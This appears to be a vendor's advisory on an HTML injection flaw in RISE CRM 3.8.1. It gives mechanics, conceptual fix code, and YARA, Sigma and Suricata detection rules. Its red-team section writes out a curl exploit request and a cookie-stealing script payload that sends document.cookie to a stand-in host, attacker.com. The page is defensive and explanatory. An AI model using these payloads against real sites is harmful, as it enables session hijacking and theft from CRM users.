CVE-2025-41106
Executive Summary
CVE-2025-41106 identifies an HTML injection vulnerability in Fairsketch's RISE CRM Framework version 3.8.1. The flaw resides in the /clients/save_contact/ endpoint, where the first_name parameter is not properly sanitized before being processed. An attacker can send a crafted POST request containing malicious HTML code, which will be rendered in the context of the application. This can lead to phishing attacks, session hijacking, or defacement. The vulnerability is classified as an HTML injection (CWE-79), and while no CVSS vector is officially assigned, the impact is considered medium to high due to the potential for client-side attacks. No official patch has been released at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It is a direct web application vulnerability in the RISE CRM PHP application.
CVSS Breakdown & Threat Level
While no official CVSS vector is provided, a reasonable assessment based on the vulnerability characteristics is:
- Attack Vector (AV): Network (N) – The attack is performed over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): None (N) – The attacker does not need authentication.
- User Interaction (UI): Required (R) – The victim must interact with the malicious content (e.g., click a link).
- Scope (S): Changed (C) – The injection impacts the client-side context.
- Confidentiality (C): Low (L) – Limited data exposure possible.
- Integrity (I): Low (L) – Content can be modified.
- Availability (A): None (N) – No impact on availability.
Estimated CVSS Score: 6.1 (Medium)
Threat Level: Medium. The vulnerability requires user interaction but can be exploited without authentication, making it a viable vector for phishing campaigns.
Deep Dive & Mechanics
The vulnerability is a classic HTML injection flaw. The RISE CRM application fails to properly validate or sanitize the first_name parameter in the POST request to /clients/save_contact/. When the application processes this input, it is reflected back to the user or stored and later displayed without proper encoding. An attacker can inject arbitrary HTML tags, such as <script>, <img>, or <iframe>, to execute malicious actions.
Attack Flow:
- The attacker identifies the vulnerable endpoint:
POST /clients/save_contact/. - The attacker crafts a POST request with a malicious payload in the
first_nameparameter, e.g.,<script>alert('XSS')</script>. - The server stores or reflects this input without sanitization.
- When a victim views the affected page (e.g., client contact list), the injected HTML is rendered, potentially executing JavaScript in the victim's browser.
Impact:
- Phishing: Inject fake login forms to steal credentials.
- Session Hijacking: Steal session cookies via
document.cookie. - Defacement: Alter the appearance of the CRM interface.
- Malware Distribution: Redirect users to malicious sites.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
// Vulnerable: Directly outputs user input without sanitization
$first_name = $_POST['first_name'];
echo "<span>$first_name</span>";
Patched Code (Conceptual):
// Patched: Uses htmlspecialchars to escape HTML entities
$first_name = htmlspecialchars($_POST['first_name'], ENT_QUOTES, 'UTF-8');
echo "<span>$first_name</span>";
The patched version ensures that any HTML tags in the input are converted to their entity equivalents (e.g., < becomes <), preventing them from being interpreted as code.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A target running RISE CRM v3.8.1.
- Access to the
/clients/save_contact/endpoint (may require a valid session or be publicly accessible).
Exploit Steps:
- Craft the Payload: Use a simple HTML injection to test.
<script>alert('XSS')</script> - Send the POST Request: Use
curlor a tool like Burp Suite.curl -X POST http://target.com/clients/save_contact/ \ -d "first_name=<script>alert('XSS')</script>&last_name=test&email=test@test.com" - Verify: Access the client contact list or the page where the name is displayed. An alert box should appear.
Advanced Payload (Session Hijacking):
<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
Blue Team (Defensive)
Detection:
- Monitor POST requests to
/clients/save_contact/for suspicious patterns in thefirst_nameparameter. - Look for HTML tags or JavaScript keywords in the parameter value.
Prevention:
- Implement input validation: Allow only alphanumeric characters and spaces in the
first_namefield. - Use output encoding: Apply
htmlspecialchars()or equivalent before rendering user input. - Deploy a Web Application Firewall (WAF) to block common XSS patterns.
Honeypot:
- Create a decoy endpoint that mimics the vulnerable behavior to lure attackers and log their payloads.
Indicators of Compromise (IOCs)
- Network IOCs:
- POST requests to
/clients/save_contact/withfirst_namecontaining<script>,<img>,<iframe>, or other HTML tags. - Outbound connections to attacker-controlled domains from the CRM server.
- POST requests to
- File IOCs:
- Log entries showing unsanitized HTML in the
first_namefield.
- Log entries showing unsanitized HTML in the
- Behavioral IOCs:
- Unexpected pop-up alerts or redirects in the CRM interface.
- Unauthorized changes to client contact data.
Detection Engineering
YARA Rule
rule CVE_2025_41106_HTML_Injection {
meta:
description = "Detects HTML injection attempts in POST requests to RISE CRM"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-41106"
strings:
$html_tag = /<[a-z][\s\S]*>/i
$script_tag = /<script[\s\S]*?>[\s\S]*?<\/script>/i
$event_handler = /on\w+\s*=/i
condition:
$html_tag or $script_tag or $event_handler
}
Sigma Rule
title: CVE-2025-41106 HTML Injection in RISE CRM
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTML injection attempts in the first_name parameter of RISE CRM
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/clients/save_contact/'
cs-uri-query|contains: 'first_name='
keywords:
- '<script'
- '<img'
- '<iframe'
- 'onerror='
- 'onload='
condition: selection and keywords
falsepositives:
- Legitimate use of HTML in names (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-41106 HTML Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/clients/save_contact/"; http_uri; content:"first_name="; http_client_body; pcre:"/<[a-z][\s\S]*>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Apply Input Validation: Restrict the
first_namefield to alphanumeric characters and spaces only. - Implement Output Encoding: Use
htmlspecialchars()or equivalent for all user-supplied data before rendering. - Deploy WAF Rules: Block requests containing HTML tags in the
first_nameparameter.
Long-Term Fixes:
- Upgrade to a patched version of RISE CRM once available.
- Conduct a full security audit of all user input handling.
- Implement Content Security Policy (CSP) headers to mitigate XSS impact.
Workarounds:
- If patching is not possible, disable the
/clients/save_contact/endpoint or restrict access to authenticated users only.
Valters IT
Securing Digital Frontiers